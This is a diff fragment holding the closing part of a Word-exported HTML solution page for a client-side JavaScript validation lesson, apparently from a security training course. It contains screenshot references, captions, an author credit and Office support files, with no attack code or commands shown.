"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_185"
|
||||
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JavaScriptValidation_files/image020.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/JavaScriptValidation_files/image021.jpg" v:shapes="Picture_x0020_185"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoCaption><span style='font-family:"Arial","sans-serif"'>Figure </span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span></span><![endif]--><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-no-proof:yes'>10</span></span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-end'></span></span><![endif]--><span
|
||||
style='font-family:"Arial","sans-serif"'> No more regular expression checks<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_186"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/JavaScriptValidation_files/image022.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/JavaScriptValidation_files/image023.jpg" v:shapes="Picture_x0020_186"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoCaption><span style='font-family:"Arial","sans-serif"'>Figure </span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span></span><![endif]--><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-no-proof:yes'>11</span></span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-end'></span></span><![endif]--><span
|
||||
style='font-family:"Arial","sans-serif"'> Lesson 6 Completed<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<span style='font-size:12.0pt;font-family:"Times New Roman","serif";mso-fareast-font-family:
|
||||
"Times New Roman";mso-ansi-language:EN-US;mso-fareast-language:EN-US;
|
||||
mso-bidi-language:AR-SA'><br clear=all style='mso-special-character:line-break;
|
||||
page-break-before:always'>
|
||||
</span>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
|
||||
@ -0,0 +1,29 @@
|
||||
<xml xmlns:o="urn:schemas-microsoft-com:office:office">
|
||||
<o:MainFile HRef="../JavaScriptValidation.html"/>
|
||||
<o:File HRef="themedata.thmx"/>
|
||||
<o:File HRef="colorschememapping.xml"/>
|
||||
<o:File HRef="image001.png"/>
|
||||
<o:File HRef="image002.jpg"/>
|
||||
<o:File HRef="image003.png"/>
|
||||
<o:File HRef="image004.jpg"/>
|
||||
<o:File HRef="image005.png"/>
|
||||
<o:File HRef="image006.jpg"/>
|
||||
<o:File HRef="image007.png"/>
|
||||
<o:File HRef="image008.jpg"/>
|
||||
<o:File HRef="image009.gif"/>
|
||||
<o:File HRef="image010.png"/>
|
||||
<o:File HRef="image011.jpg"/>
|
||||
<o:File HRef="image012.png"/>
|
||||
<o:File HRef="image013.jpg"/>
|
||||
<o:File HRef="image014.png"/>
|
||||
<o:File HRef="image015.jpg"/>
|
||||
<o:File HRef="image016.png"/>
|
||||
<o:File HRef="image017.jpg"/>
|
||||
<o:File HRef="image018.png"/>
|
||||
<o:File HRef="image019.jpg"/>
|
||||
<o:File HRef="image020.png"/>
|
||||
<o:File HRef="image021.jpg"/>
|
||||
<o:File HRef="image022.png"/>
|
||||
<o:File HRef="image023.jpg"/>
|
||||
<o:File HRef="filelist.xml"/>
|
||||
</xml>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 168 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 34 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 35 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 99 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 32 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 238 B |
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 28 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 42 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 39 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 44 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 39 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 41 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 37 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 115 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 32 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 118 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 32 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 183 KiB |
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user